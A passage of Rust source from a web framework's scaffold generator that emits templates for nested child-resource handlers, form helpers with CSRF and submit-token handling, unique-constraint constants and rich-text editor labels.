errors.insert(field.to_string(), vec![message.to_string()]);\n \
let changeset = Changeset::from_errors(changeset.into_inner(), errors);\n \
let view = nested_view(&mut db, *{fk}, &PageRequest::default(), &changeset, {flash_arg}, &state, &session, csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref()).await?;\n \
return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, view).into_response());\n \
}}\n \
return Err(err);\n \
}}\n"
)
} else {
format!(
" diesel::insert_into({plural}::table)\n \
.values({insert_record})\n \
.execute(&mut *db)\n .await?;\n"
)
};
format!(
r#"
/// Render one {parent_snake}'s {plural} — the paginated child list plus the
/// inline "add" form posting to `POST {route}` (issue #1323).
///
/// `pub` on purpose: the {parent_snake} resource's generated `show` view calls
/// it, and so can any hand-written page that wants the same section. Takes the
/// connection by `&mut` so one page can render several children off it.
#[allow(clippy::too_many_arguments)]
pub async fn children_section(
db: &mut Db,
{fk}: i64,
page_req: &PageRequest,
{state_param},
{session_param},
csrf: Option<&CsrfToken>,
csrf_field: Option<&CsrfFormField>,
submit_token: Option<&SubmitToken>,
submit_field: Option<&SubmitFormField>,
) -> AutumnResult<Markup> {{
children_section_with(
db,
{fk},
page_req,
&Changeset::new({pascal_name}Form::default()),
{state_arg},
{session_arg},
csrf,
csrf_field,
submit_token,
submit_field,
)
.await
}}
/// The shared body behind [`children_section`], also used by `nested_create`'s
/// 422 re-render — which hands it the *invalid* changeset so the inline form
/// comes back with the submitted values and per-field errors intact (#1124).
#[allow(clippy::too_many_arguments)]
async fn children_section_with(
db: &mut Db,
{fk}: i64,
page_req: &PageRequest,
changeset: &Changeset<{pascal_name}Form>,
{state_param},
{session_param},
csrf: Option<&CsrfToken>,
csrf_field: Option<&CsrfFormField>,
submit_token: Option<&SubmitToken>,
submit_field: Option<&SubmitFormField>,
) -> AutumnResult<Markup> {{
{owner_prelude} let total: i64 = {plural}::table
.filter({plural}::{fk}.eq({fk})){deleted_filter}{owner_filter}
.count()
.get_result(&mut **db)
.await?;
let items: Vec<{pascal_name}> = {plural}::table
.filter({plural}::{fk}.eq({fk})){deleted_filter}{owner_filter}
.select({pascal_name}::as_select())
.order({plural}::id.desc())
.limit(page_req.limit())
.offset(page_req.offset())
.load(&mut **db)
.await?;
let page_data: Page<{pascal_name}> = Page::new(items, total, page_req);
{label_loads}{columns}{option_loads} let nested_base = paths::nested_index({fk});
Ok(html! {{
section id="{parent_snake}-{plural}" aria-labelledby="{parent_snake}-{plural}-heading" {{
h2 id="{parent_snake}-{plural}-heading" {{ "{pascal_name}s" }}
(autumn_web::widgets::data_table(&page_data.content, &columns, &autumn_web::widgets::DataTableConfig::new("No {plural} yet.").base_path(&nested_base)))
(pagination_nav(&page_data, &PagerOptions::new(&nested_base)))
h3 {{ "Add {pascal_name}" }}
({snake_name}_form_for(changeset, paths::nested_create({fk}), "Add {pascal_name}", csrf, csrf_field, submit_token, submit_field{option_args}{form_exclude_state}{form_lock}, true))
}}
}})
}}
/// Confirm the parent {parent_snake} exists, so a request naming one that does
/// not answers **404** rather than a plausible-looking empty list — and so a
/// nested create fails as a not-found instead of surfacing the foreign-key
/// constraint violation as a 500.
///
/// Only the routes that take the id from an untrusted URL call this; the
/// parent's own `show` view already loaded the row before it renders the
/// section, so it pays nothing.
async fn require_{parent_snake}(db: &mut Db, {fk}: i64) -> AutumnResult<()> {{
{parent_plural}::table
.find({fk})
.select({parent_plural}::id)
.first::<i64>(&mut **db)
.await
.map_err(AutumnError::not_found)?;
Ok(())
}}
/// The standalone page wrapper around [`children_section_with`] — shared by
/// `nested_index` and `nested_create`'s 422 re-render so both render the same
/// document.
#[allow(clippy::too_many_arguments)]
async fn nested_view(
db: &mut Db,
{fk}: i64,
page_req: &PageRequest,
changeset: &Changeset<{pascal_name}Form>,
flash: Markup,
state: &autumn_web::AppState,
session: &autumn_web::session::Session,
csrf: Option<&CsrfToken>,
csrf_field: Option<&CsrfFormField>,
submit_token: Option<&SubmitToken>,
submit_field: Option<&SubmitFormField>,
) -> AutumnResult<Markup> {{
require_{parent_snake}(db, {fk}).await?;
let section = children_section_with(db, {fk}, page_req, changeset, state, session, csrf, csrf_field, submit_token, submit_field).await?;
Ok({layout_fn}(&format!("{pascal_name}s for {parent_pascal} #{{{fk}}}"), {cp_nested}flash, html! {{
h1 {{ "{pascal_name}s for {parent_pascal} #" ({fk}) }}
(section)
(autumn_web::a11y::Link::new(crate::routes::{parent_plural}::paths::show({fk}), "Back to {parent_pascal}"))
}}))
}}
/// `GET {route}` — one {parent_snake}'s {plural}, and only that {parent_snake}'s.
///
/// Paginated through the same `PageRequest` extractor the flat index uses:
/// `?page=N&size=M`, clamped silently rather than 400ing.
{nested_index_secured}#[get("{route}", name = "nested_index")]
#[allow(clippy::too_many_arguments)]
pub async fn nested_index(
{fk}: Path<i64>,
page_req: PageRequest,
mut db: Db,
flash: Flash,
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
submit_token: Option<SubmitToken>,
submit_field: Option<SubmitFormField>,
) -> AutumnResult<Markup> {{
nested_view(&mut db, *{fk}, &page_req, &Changeset::new({pascal_name}Form::default()), {flash_arg}, &state, &session, csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref()).await
}}
/// `POST {route}` — create one {snake_name} under its parent {parent_snake}.
#[secured]
#[post("{route}", name = "nested_create")]
pub async fn nested_create(
{fk}: Path<i64>,
flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
submit_token: Option<SubmitToken>,
submit_field: Option<SubmitFormField>,
mut db: Db,
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
body: Bytes,
) -> AutumnResult<autumn_web::reexports::axum::response::Response> {{
use autumn_web::reexports::axum::response::IntoResponse as _;
{authz_call} let mut form = decode_form(body)?;
// SECURITY: the parent is the ROUTE, never the payload. The nested form
// renders no control for `{fk}` (see `exclude_parent_fk`), and this
// overwrite — before validation, before the insert — means a hand-crafted
// body carrying its own `{fk}` cannot re-parent the {snake_name}.
form.{fk} = {fk}.to_string();
let changeset = form.into_changeset();
if !changeset.is_valid() {{
let view = nested_view(&mut db, *{fk}, &PageRequest::default(), &changeset, {flash_arg}, &state, &session, csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref()).await?;
return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, view).into_response());
}}
let new = into_new(changeset.data())?;
require_{parent_snake}(&mut db, *{fk}).await?;
{insert_block} flash.success("{pascal_name} created").await;
Ok(autumn_web::Redirect::to(&crate::routes::{parent_plural}::paths::show(*{fk})).into_response())
}}
"#
)
}
/// The `UNIQUE_CONSTRAINTS` module-level const the generated `create`/
/// `update` handlers pass to `autumn_web::error::unique_violation_field`
/// (issue #1032) — one `(constraint_name, field_name, message)` triple per
/// `unique` field, where `constraint_name` matches the name
/// `schema_edit::unique_index_sql` gives the migration's `CREATE UNIQUE
/// INDEX` (`idx_<table>_<field>_unique`).
fn render_unique_constraints_const(
plural: &str,
unique_fields: &[&Field],
all_fields: &[Field],
) -> String {
use std::fmt::Write as _;
let mut entries = String::new();
for f in unique_fields {
let index_name = unique_index_name(plural, &f.name, all_fields);
let _ = write!(
entries,
"(\"{index_name}\", \"{name}\", \"has already been taken\"),\n ",
name = f.name
);
}
format!("const UNIQUE_CONSTRAINTS: &[(&str, &str, &str)] = &[\n {entries}];\n")
}
fn render_update_changeset_expr(pascal_name: &str, fields: &[Field]) -> String {
use std::fmt::Write;
let mut out = format!("Update{pascal_name} {{\n");
for f in fields {
let name = &f.name;
writeln!(
out,
" {name}: autumn_web::hooks::Patch::Set(new.{name}.clone()),"
)
.unwrap();
}
out.push_str(" }");
out
}
/// Validity window of the signed attachment URLs the scaffolded show/edit views
/// render (issue #1236). Long enough to browse a detail page and click through
/// to the file, short enough that a copied link isn't a durable capability.
const ATTACHMENT_URL_TTL_SECS: u64 = 300;
/// Wrap the new/edit view bodies in a block expression when either needs a
/// prelude: `option_loads` for `references` selects (issue #1146/#1750) and
/// `edit_attachment_url_binds` for the signed attachment URLs the edit view
/// renders (issue #1236). Both bodies splice into a GET handler AND into the
/// matching 422 re-render, so the prelude has to travel inside the body string
/// rather than sit in one handler — otherwise the two sites drift.
///
/// Only the edit body ever carries attachment binds: a new record has no
/// stored file to render.
fn wrap_form_bodies(
new_form_layout: String,
edit_form_layout: String,
option_loads: &str,
edit_attachment_url_binds: &str,
// Issue #1349: bindings only the NEW form needs — the localized resource
// display name its "New {Model}" title and heading interpolate. Empty
// without `--i18n`, so the wrapping below stays byte-identical.
new_form_binds: &str,
) -> (String, String) {
let new_body = if option_loads.is_empty() && new_form_binds.is_empty() {
new_form_layout
} else {
format!("{{\n{new_form_binds}{option_loads} {new_form_layout}\n }}")
};
let edit_body = if option_loads.is_empty() && edit_attachment_url_binds.is_empty() {
edit_form_layout
} else {
format!("{{\n{option_loads}{edit_attachment_url_binds} {edit_form_layout}\n }}")
};
(new_body, edit_body)
}
/// Whether any field in `fields` is a file attachment.
fn has_attachment_fields(fields: &[Field]) -> bool {
fields.iter().any(|f| f.kind.is_attachment())
}
/// Whether the scaffold declares any `richtext` column (issue #1255).
///
/// Gates the `markdown` feature on the project's `autumn-web` dependency, the
/// generated `POST /{plural}/preview/{field}` routes, and their submit-token
/// exemption.
fn has_rich_text_fields(fields: &[Field]) -> bool {
fields.iter().any(|f| f.kind.is_rich_text())
}
/// The `richtext` columns of a scaffold, in declaration order (issue #1255).
fn rich_text_fields(fields: &[Field]) -> Vec<&Field> {
fields.iter().filter(|f| f.kind.is_rich_text()).collect()
}
/// The Markdown toolbar above a rich-text editor, as
/// `(key, English name, Markdown syntax)` (issue #2227). Mirrors
/// `RICH_TEXT_TOOLBAR` in `autumn-web`, entry for entry.
///
/// Only the NAME goes through the bundle. A Markdown marker such as `**bold**`
/// is the syntax the user must type. It reads the same in every locale, so it
/// stays a literal. The keys are `common.*` because the toolbar reads the same
/// above every rich-text column in a project.
const RICH_TEXT_CHROME_CONTROLS: &[(&str, &str, &str)] = &[
("common.richtext.bold", "Bold", "**bold**"),
("common.richtext.italic", "Italic", "_italic_"),
("common.richtext.link", "Link", "[text](url)"),
("common.richtext.code", "Code", "`code`"),
("common.richtext.list", "List", "- item"),
("common.richtext.heading", "Heading", "# Heading"),
("common.richtext.quote", "Quote", "> quote"),
];
/// The hint under a rich-text editor, as `autumn-web` writes it. Kept here
/// verbatim so an `en` app reads the same with the flag on or off.
const RICH_TEXT_CHROME_HINT: &str =
"Markdown supported. HTML is not allowed and is shown as plain text.";
/// Emit the `let l_rt_… = …;` bindings the `--i18n` form helper hands to
/// `RichTextLabels` (issue #2227). This returns an empty string without the
/// flag, and for a scaffold with no rich-text column. Either way, the plain
/// output is unchanged.
///
/// This uses one binding per label, not one builder chain. `RichTextLabels`
/// borrows every string. A `t!(locale, …)` temporary built inside a chain
/// would drop before the form uses it.
fn render_rich_text_label_binds(fields: &[Field], labels: &scaffold_i18n::ViewLabels) -> String {
use std::fmt::Write as _;
if !labels.enabled() || !has_rich_text_fields(fields) {
return String::new();
}
let mut out = String::with_capacity(RICH_TEXT_CHROME_CONTROLS.len() * 80 + 400);
let _ = writeln!(
out,
" let l_rt_toolbar = {};",
labels.lit("common.richtext.toolbar", "Markdown formatting")
);
let _ = writeln!(
out,
" let l_rt_hint = {};",
labels.lit("common.richtext.hint", RICH_TEXT_CHROME_HINT)
);
let _ = writeln!(
out,
" let l_rt_preview = {};",
labels.lit("common.richtext.preview", "Preview")
);
let mut entries = String::new();
for (key, english, syntax) in RICH_TEXT_CHROME_CONTROLS {
// The key's last segment names the binding, so the generated source
// reads as the toolbar does.
let ident = key.rsplit('.').next().unwrap_or(key);
let _ = writeln!(out, " let l_rt_{ident} = {};", labels.lit(key, english));
let _ = write!(entries, "\n (l_rt_{ident}.as_str(), \"{syntax}\"),");
}
let _ = writeln!(out, " let l_rt_controls = [{entries}\n ];");
let _ = writeln!(
out,
" let l_rt_labels = autumn_web::form::RichTextLabels::new()\n \
.toolbar_group(&l_rt_toolbar)\n \
.controls(&l_rt_controls)\n \
.hint(&l_rt_hint)\n \
.preview_heading(&l_rt_preview);"
);
out
}
/// Emit the `FormModel` delegation impl for the generated `{Pascal}Form`
/// (issue #1135). `form_for` derives its controls from the changeset's own
/// type, and the `#[model]` derive already produces the field descriptors on
/// `{Pascal}` — same field names, same declaration order, and both exclude
/// the primary key and `#[default]` columns — so the form struct simply
/// reuses the model's list instead of restating it.
fn render_form_model_impl(pascal_name: &str) -> String {
format!(
"/// `form_for` field descriptors (issue #1135): delegate to the\n\
/// `#[model]`-derived implementation on `{pascal_name}` so the rendered form\n\
/// always tracks the model's columns.\n\
impl autumn_web::form::FormModel for {pascal_name}Form {{\n \
fn form_fields() -> Vec<autumn_web::form::FormField> {{\n \
<{pascal_name} as autumn_web::form::FormModel>::form_fields()\n \
}}\n\
}}"
)
}
/// Render the shared `{snake}_form_for` helper the generated views call
/// (issue #1135): one `form_for` call renders the open `<form>` tag, the CSRF
/// hidden input, one type-appropriate control per `FormModel` field (with
/// pre-filled values and inline errors from the changeset), and the submit
/// button — so `new_form`, `edit_form`, and both 422 re-render branches carry
/// zero per-column view code, and adding a model column requires no view
/// edits.
///
/// The scaffold layers on only what the derive can't know statically:
/// - enum columns are promoted to a `Select` with one option per declared
/// variant plus a blank placeholder (the derive sees an opaque Rust enum
/// type and falls back to a text control);
/// - decimal columns pin the browser `step` to the column's declared scale
/// (the derive emits a free `step="any"`, losing the column's actual
/// smallest representable increment);
/// - attachment columns are promoted to `FieldControl::File` (issue #1236).
/// The derive sees an opaque `Blob` column and falls back to a text control;
/// the override renders a plain `<input type="file">` (no hidden presign
/// key) and flips the whole form to `enctype="multipart/form-data"`, which
/// is what makes the zero-JavaScript upload work on submit. It renders the
/// same inline-error/ARIA skeleton as the derived controls, so changeset
/// errors on the attachment still surface. A file input can't be
/// repopulated, so the *currently stored* attachment is rendered next to it
/// by the edit view (see `attachment_link`);
/// - `references` columns are promoted to a `Select` over the referenced
/// table's ids (issue #1135 AC 2). The options are runtime data, so the
/// helper takes one `{column}_options: &[(String, String)]` parameter per
/// reference and the calling handlers load them (see the generated
/// `{column}_select_options` loader). Columns named in
/// `missing_reference_targets` (their referenced model isn't in the
/// project, so there is no schema entry to load options from) keep the
/// derived numeric id input instead — the plan carries a warning saying
/// how to get the select.
#[allow(
clippy::too_many_lines,
reason = "one per-field match building the form_for builder calls plus the \
constrained-field/attachment append markup — a single cohesive template"
)]
fn render_form_for_helper(
pascal_name: &str,
snake_name: &str,
fields: &[Field],
// Issue #1349: relabels every control through `{snake}.field.{name}` when
// `--i18n` is on, and is an identity function over the derived English
// labels when it is off.
labels: &scaffold_i18n::ViewLabels,
missing_reference_targets: &BTreeSet<String>,
// The Rust type of the model's `lock_version` counter (issue #1318), or
// `None` when the model declares no optimistic-locking column.
lock_version_ty: Option<&str>,
// The parent foreign-key column under `--belongs-to` (issue #1323), or
// `None` for a flat scaffold. `Some` adds the `exclude_parent_fk` flag the
// nested inline create form passes to drop that control.
parent_fk: Option<&str>,
) -> String {
use std::fmt::Write as _;
let mut extra_params = String::new();
let mut preludes = String::new();
let mut builder_calls = String::new();
let mut appends = String::new();
for f in fields {
let name = &f.name;
match f.kind {
FieldKind::Attachment => {
// Issue #1236: promote the attachment to `FieldControl::File`.
// The derive sees an opaque `Blob` column and falls back to a
// text control, so override it. `FieldControl::File` (a) flips
// the whole `<form>` to `enctype="multipart/form-data"` so the
// browser uploads the file with zero JavaScript, (b) renders a
// plain `<input type="file">` (no hidden key input — uploads no
// longer round-trip a presign key), and (c) renders the same
// inline-error/ARIA skeleton as the other controls, so changeset
// errors on the attachment still surface.
let _ = write!(
builder_calls,
"\n .override_field(\"{name}\", autumn_web::form::FieldControl::File)"
);
}
FieldKind::Json => {
// Issue #1341: the derive sees an opaque `serde_json::Value`
// column and falls back to a single-line text control (same
// fallback `Attachment`'s raw `Blob` hits above) — promote it
// to a `<textarea>` so a real JSON object/array fits.
let _ = write!(
builder_calls,
"\n .override_field(\"{name}\", autumn_web::form::FieldControl::Textarea)"
);
}
FieldKind::Enum => {
let (placeholder_key, placeholder) = if f.nullable {
("common.select.unset", "— Unset —")
} else {
("common.select.prompt", "— Select —")
};
// `.into()` on a `&str` literal and on the `String` a `t!` call
// returns both land on `String`, so the emitted `vec!` element
// is well-typed either way.
let mut options = format!(
"(\"\".into(), {}.into())",
labels.lit(placeholder_key, placeholder)
);
for v in &f.variants {
let vlabel = humanize_label(v);
let vexpr =
labels.lit(&format!("{snake_name}.field.{name}.option.{v}"), &vlabel);
let _ = write!(options, ", (\"{v}\".into(), {vexpr}.into())");
}
let _ = write!(
builder_calls,
"\n .override_field(\"{name}\", autumn_web::form::FieldControl::Select {{ options: vec![{options}] }})"
);
}
FieldKind::RichText => {
// #1255: the derive sees a plain `String` column and emits a
// single-line text input. A rich-text column instead renders
// `form::rich_text_area_htmx` — a Markdown editor with a syntax
// hint and an htmx live-preview pane wired to the generated `POST
// /{plural}/preview/{field}` endpoint. That is a whole labeled
// control, not a `FieldControl` variant, so it takes the same
// `.exclude()` plus `.append()` escape hatch the constrained-field
// arm below uses. The token-field-aware variant is used so the
// preview POST's `hx-params` filter names the app's actual
// configured `[security.submit_token].field_name` (#1843), not just
// the default; the helper already has the `SubmitFormField`
// extractor in scope for `submit_token_input`. `rich_text_area_*`
// takes `&str`, unlike the `a11y` builders' `impl Into<String>`, so
// this label site borrows.
let label =
labels.lit_ref(&format!("{snake_name}.field.{name}"), &humanize_label(name));
// A non-nullable column takes the `required_*` variant, exactly
// like every other generated control — `String` and `TEXT NOT
// NULL` both accept `""`, so without it an empty editor would
// silently persist a blank body (PR #2157 review).
let helper = if f.nullable {
"rich_text_area_htmx_with_token_field"
} else {
"required_rich_text_area_htmx_with_token_field"
};
// #2227: autumn-web builds the editor's own chrome — the
// toolbar, the hint, and the preview heading. Under `--i18n`
// the `_with_labels` variant takes it from the bundle instead.
// `l_rt_labels` is bound once above the form (see
// `render_rich_text_label_binds`), because the chrome reads the
// same for every rich-text column.
let (variant, labels_arg) = if labels.enabled() {
("_with_labels", ", &l_rt_labels")
} else {
("", "")
};
let _ = write!(builder_calls, "\n .exclude(\"{name}\")");
let _ = write!(
appends,
"\n .append(autumn_web::form::{helper}{variant}(\
changeset, \"{name}\", {label}, &paths::preview_{name}(), \
submit_field.map_or(\"_submit_token\", |f| f.0.as_str()){labels_arg}))"
);
}
FieldKind::Decimal { scale, .. } => {
let step = decimal_step(scale);
let _ = write!(
builder_calls,
"\n .override_field(\"{name}\", autumn_web::form::FieldControl::Number {{ step: Some(\"{step}\".into()) }})"
);
}
// Issue #1260 AC4: a blank submission auto-derives the slug on
// create (see `create_new_block`'s `slug_derive_block`), so the
// control must NOT carry `required`/`aria-required` even though
// the column itself is `NOT NULL` — otherwise the browser blocks
// submission before that derivation logic ever runs. The derive's
// default `FormField.required` is driven by Rust-level
// nullability (always `true` here, since a slug field is never
// `Option<String>`), so this needs the same `.exclude()` +
// `.append()` escape hatch the other schema-specific overrides
// use, minus the `required_builders` those emit.
FieldKind::Slug => {
let label =
labels.lit(&format!("{snake_name}.field.{name}"), &humanize_label(name));
let _ = write!(builder_calls, "\n .exclude(\"{name}\")");
let _ = write!(
appends,
"\n .append(html! {{\n \
@let errors = changeset.errors_for(\"{name}\");\n \
div id=\"{name}-field\" class=\"autumn-field\" {{\n \
(autumn_web::a11y::TextField::new(\"{name}\")\n \
.label({label})\n \
.label_class(\"autumn-field__label\")\n \
.input_type(\"text\")\n \
.value(changeset.field_value(\"{name}\").unwrap_or_default())\n \
.class(if errors.is_empty() {{ \"autumn-field__input\" }} else {{ \"autumn-field__input autumn-field__input--invalid\" }})\n \
.aria_invalid(!errors.is_empty())\n \
.described_by(if errors.is_empty() {{ \"\" }} else {{ \"{name}-error\" }}))\n \
@if !errors.is_empty() {{\n \
div id=\"{name}-error\" role=\"alert\" class=\"autumn-field__errors\" {{\n \
@for error in errors {{ p class=\"autumn-field__error\" {{ (error) }} }}\n \
}}\n \
}}\n \
}}\n \
}})"
);
}
FieldKind::References => {
// The derive sees a plain `i64` column and emits a number
// input; the reference renders as a select over the
// referenced table's ids instead. A blank first option gives
// required selects browser-native "please select" behavior
// (nullable references use it to unset the value). When the
// referenced model is missing from the project the select's
// option loader could not compile (no schema entry to query),
// so the column keeps the derived number input.
if missing_reference_targets.contains(name) {
continue;
}
let (placeholder_key, placeholder) = if f.nullable {
("common.select.unset", "— Unset —")
} else {
("common.select.prompt", "— Select —")
};
let placeholder_expr = labels.expr(
placeholder_key,
placeholder,
&format!("\"{placeholder}\".to_string()"),
&[],
);
let _ = write!(extra_params, ",\n {name}_options: &[(String, String)]");
let _ = write!(
preludes,
" let mut {name}_select = vec![(String::new(), {placeholder_expr})];\n \
{name}_select.extend({name}_options.iter().cloned());\n"
);
let _ = write!(
builder_calls,
"\n .override_field(\"{name}\", autumn_web::form::FieldControl::Select {{ options: {name}_select }})"
);
}
// A nullable `bool` renders as a tri-state `<select>` so `NULL` stays
// reachable, and the derive fills it with hardcoded `— Unset —`, `Yes`,
// and `No` (`autumn-macros/src/model.rs`'s `form_control_tokens`).
// Those are user-facing strings this flag is supposed to have claimed:
// without the override they survive untranslated in every create and
// edit form, next to a field label that is translated. The same
// `override_field` escape hatch the enum arm uses replaces them, keeping
// the derive's `""`, `"true"`, and `"false"` values so form parsing is
// unaffected. Only under `--i18n`: with the flag off the derived control
// is already right, and an override would change output the rest of this
// module keeps byte-identical.
FieldKind::Bool if f.nullable && labels.enabled() => {
let mut options = format!(
"(\"\".into(), {}.into())",
labels.lit("common.select.unset", "— Unset —")
);
for (value, key, english) in
[("true", "common.yes", "Yes"), ("false", "common.no", "No")]
{
let _ = write!(
options,
", (\"{value}\".into(), {}.into())",
labels.lit(key, english)
);
}
let _ = write!(
builder_calls,
"\n .override_field(\"{name}\", autumn_web::form::FieldControl::Select {{ options: vec![{options}] }})"
);
}
// A `String`/`Text`/numeric field carrying DSL constraint
// modifiers (issue #1388) needs HTML5 attributes the derived
// `FieldControl` can't express (`minlength`/`maxlength`,
// `min`/`max`, `type="email"`/`type="url"`). Exclude it from the
// derived render and append an equivalent control that carries the
// constraints — the same `.exclude()` + `.append()` escape hatch
// the attachment arm uses. The value is re-filled from the
// changeset so the 422 re-render keeps entered input, and the
// inline-error/ARIA skeleton matches the derived controls.
_ => {
if let Some((input_type, _)) = html5_constraint_spec(f) {
let label =
labels.lit(&format!("{snake_name}.field.{name}"), &humanize_label(name));
let _ = write!(builder_calls, "\n .exclude(\"{name}\")");
if matches!(f.kind, FieldKind::Text) && input_type == "text" {
// A `text` DSL column with a length or plain constraint is
// a long-form field (Postgres `TEXT`), so its control is a
// `<textarea>`, the element the derived
// `FieldControl::Textarea` would pick. A
// `text{email}`/`text{url}` field has `input_type` `email`
// or `url`, which a textarea cannot carry, so those
// single-line controls take the `<input type="…">` branch
// below.
//
// The constrained multi-line `<textarea>` routes through the
// typed accessible `a11y::TextArea` primitive (#1933):
// rendered element, attributes, and values carry over
// unchanged — the label now carries `autumn-field__label` —
// and only TextArea's attribute order differs. Only the
// attributes a textarea honours apply: the length rules from
// `html5_constraint_builder_calls` and `required`, while the
// input-only `type`, `min`, and `max` are dropped. The 422
// re-render value is the element's text content, not a
// `value=` attribute, so entered input survives, matching
// `form::textarea_input`.
let constraint_builders = html5_constraint_builder_calls(f)
.map(|(_, calls)| calls)
.unwrap_or_default();
let required_builders = if f.nullable {
""
} else {
".required().aria_required()"
};
let _ = write!(
appends,
"\n .append(html! {{\n \
@let errors = changeset.errors_for(\"{name}\");\n \
div id=\"{name}-field\" class=\"autumn-field\" {{\n \
(autumn_web::a11y::TextArea::new(\"{name}\")\n \
.label({label})\n \
.label_class(\"autumn-field__label\")\n \
.value(changeset.field_value(\"{name}\").unwrap_or_default())\n \
{constraint_builders}{required_builders}\n \
.class(if errors.is_empty() {{ \"autumn-field__input\" }} else {{ \"autumn-field__input autumn-field__input--invalid\" }})\n \
.aria_invalid(!errors.is_empty())\n \
.described_by(if errors.is_empty() {{ \"\" }} else {{ \"{name}-error\" }}))\n \
@if !errors.is_empty() {{\n \
div id=\"{name}-error\" role=\"alert\" class=\"autumn-field__errors\" {{\n \
@for error in errors {{ p class=\"autumn-field__error\" {{ (error) }} }}\n \
}}\n \
}}\n \
}}\n \
}})"
);
} else {
// Route the constrained single-line `<input>` through the
// typed accessible `a11y::TextField` primitive (#1706): the
// rendered element/attributes/values are unchanged (label now
// carries `autumn-field__label`), only TextField's attribute
// order differs. The wrapper `<div>` and inline-error `<div>`
// stay raw. Constraint attrs become typed builder calls from
// the same `html5_constraint_parts` source as the raw form.
let constraint_builders = html5_constraint_builder_calls(f)
.map(|(_, calls)| calls)
.unwrap_or_default();
let required_builders = if f.nullable {
""
} else {
".required().aria_required()"
};
let _ = write!(
appends,
"\n .append(html! {{\n \
@let errors = changeset.errors_for(\"{name}\");\n \
div id=\"{name}-field\" class=\"autumn-field\" {{\n \
(autumn_web::a11y::TextField::new(\"{name}\")\n \
.label({label})\n \
.label_class(\"autumn-field__label\")\n \
.input_type(\"{input_type}\")\n \
.value(changeset.field_value(\"{name}\").unwrap_or_default())\n \
{constraint_builders}{required_builders}\n \
.class(if errors.is_empty() {{ \"autumn-field__input\" }} else {{ \"autumn-field__input autumn-field__input--invalid\" }})\n \
.aria_invalid(!errors.is_empty())\n \
.described_by(if errors.is_empty() {{ \"\" }} else {{ \"{name}-error\" }}))\n \
@if !errors.is_empty() {{\n \
div id=\"{name}-error\" role=\"alert\" class=\"autumn-field__errors\" {{\n \
@for error in errors {{ p class=\"autumn-field__error\" {{ (error) }} }}\n \
}}\n \
}}\n \
}}\n \
}})"
);
}
}
}
}
}
// #2227: one set of chrome bindings for every rich-text column in the form.
// This is appended after the per-field loop, so it always sits last in
// `preludes`. That keeps the emitted order stable.
preludes.push_str(&render_rich_text_label_binds(fields, labels));
// Issue #1326: a `:states(…)` state-machine column is transition-only. The
// create form keeps it (initial state), but the EDIT form must not offer it
// as an editable input — status changes flow only through the dedicated
// `POST /{plural}/{{id}}/transitions/{field}` route. The helper is shared by
// both forms, so it takes an `exclude_state_fields` flag: the edit call
// passes `true` and the create call `false`. A model with no state-machine
// field emits neither the parameter nor the block, keeping the pre-#1326
// helper byte-identical.
let sm_field_names: Vec<&str> = fields
.iter()
.filter(|f| f.state_machine.is_some())
.map(|f| f.name.as_str())
.collect();
let sm_exclude_block = if sm_field_names.is_empty() {
String::new()
} else {
let _ = write!(extra_params, ",\n exclude_state_fields: bool");
let mut excludes = String::new();
for name in &sm_field_names {
let _ = write!(excludes, "\n form = form.exclude(\"{name}\");");
}
// Ends at a newline, not at the next line's indent: the template
// supplies that. (Before #1323 the trailing indent stacked with the
// template's, pushing the following comment out to 8 spaces.)
format!("\n if exclude_state_fields {{{excludes}\n }}\n")
};
// Issue #1318: the optimistic-locking version travels as a hidden field
// INSIDE the form, so it must be injected here rather than around the
// helper's call — `form_for` renders the whole `<form>` element. The edit
// call passes `Some(version)` and the create call `None`: a row that does
// not exist yet has no version to guard against. A model with no
// `lock_version` column emits neither the parameter nor the block, keeping
// the pre-#1318 helper byte-identical.
let lock_version_block = lock_version_ty.map_or_else(String::new, |ty| {
let _ = write!(extra_params, ",\n lock_version: Option<{ty}>");
// Prepended AFTER the submit token above, so the token stays the very
// first field in the URL-encoded body: `prepend` pushes onto a list
// rendered in call order, and `SubmitTokenLayer` only scans the body's
// first chunk (issue #1360).
" if let Some(version) = lock_version {\n \
form = form.prepend(html! { input type=\"hidden\" name=\"lock_version\" value=(version); });\n \
}\n "
.to_owned()
});
// #1323: the nested inline create form must not offer the parent foreign key as an
// editable control — the parent is the URL, and the nested create handler sets the
// column from the path either way. The helper is shared by the flat create and edit
// forms, which keep the belongs_to select from #1146, and the nested form, so it takes
// a flag: the nested call passes `true`, every other call `false`. A scaffold with no
// `--belongs-to` emits neither the parameter nor the block. Placed after the
// state-machine exclusion and before the submit-token prepend, so both exclusions read
// together and neither disturbs the token's position at the front of the form (#1360).
let parent_fk_block = parent_fk.map_or_else(String::new, |name| {
let _ = write!(extra_params, ",\n exclude_parent_fk: bool");
format!(" if exclude_parent_fk {{\n form = form.exclude(\"{name}\");\n }}\n")
});
// Issue #1349: the helper renders every labeled control, so with `--i18n` it
// takes the request's locale. By value for the same reason `show_view` does:
// `t!` expands to `Locale::t(&locale, …)`, which a `&Locale` binding would
// turn into a `&&Locale`.
let form_for_locale_param = if labels.enabled() {
"locale: Locale,\n "
} else {
""
};
// Relabel every control the `FormModel` derive renders. The derive humanizes
// the column name into Title Case; `.override_label` swaps in the `t!`
// lookup for the SAME key the index header and show row use, so one
// translation serves all three surfaces.
if labels.enabled() {
for f in fields {
let name = &f.name;
let _ = write!(
builder_calls,
"\n .override_label(\"{name}\", {})",
labels.lit(&format!("{snake_name}.field.{name}"), &humanize_label(name))
);
}
}
format!(
"/// Render the create/edit form in a single `form_for` call (issue #1135).\n\
///\n\
/// Controls, labels, pre-filled values, and inline errors all derive from\n\
/// `{pascal_name}Form`'s `FormModel` field descriptors, so adding a model\n\
/// column requires no edits here — any enum/decimal/attachment overrides\n\
/// below are the only schema-specific lines, and regeneration maintains\n\
/// them.\n\
#[allow(clippy::too_many_arguments)]\n\
fn {snake_name}_form_for(\n \
{form_for_locale_param}changeset: &Changeset<{pascal_name}Form>,\n \
action: String,\n \
